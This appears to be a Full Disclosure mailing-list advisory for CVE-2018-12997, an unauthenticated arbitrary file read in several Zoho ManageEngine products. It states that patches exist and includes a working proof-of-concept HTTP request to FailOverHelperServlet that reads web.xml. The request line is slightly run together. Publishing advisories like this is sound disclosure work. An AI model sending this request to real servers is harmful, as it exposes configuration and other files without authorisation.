[CVE-2018-12997]Zoho manageengine Arbitrary File Read in multiple Products

["xiaotian.wang"<xiaotian.wang () dbappsecurity com cn>]

This issue has been reported to the vendor who has already published patches for this issue.
http://opmanager.helpdocsonline.com/read-me


==========================
Advisory:Zoho manageengine Arbitrary File Read in multiple Products
Author: M3 From DBAppSecurity
Affected Products:
Netflow Analyzer Network Configuration Manager OpManager Oputils Opmanagerplus firewall analyzer
==========================
Proof of Concept:
==========================
POST /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=copyfilefileName=WEB-INF/web.xml 
HTTP/1.1 Host: 192.168.11.103:8888 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; 
Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0 xx


Notice: This vul can reproduce without login.

Attachment: 2222.png
Description:

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/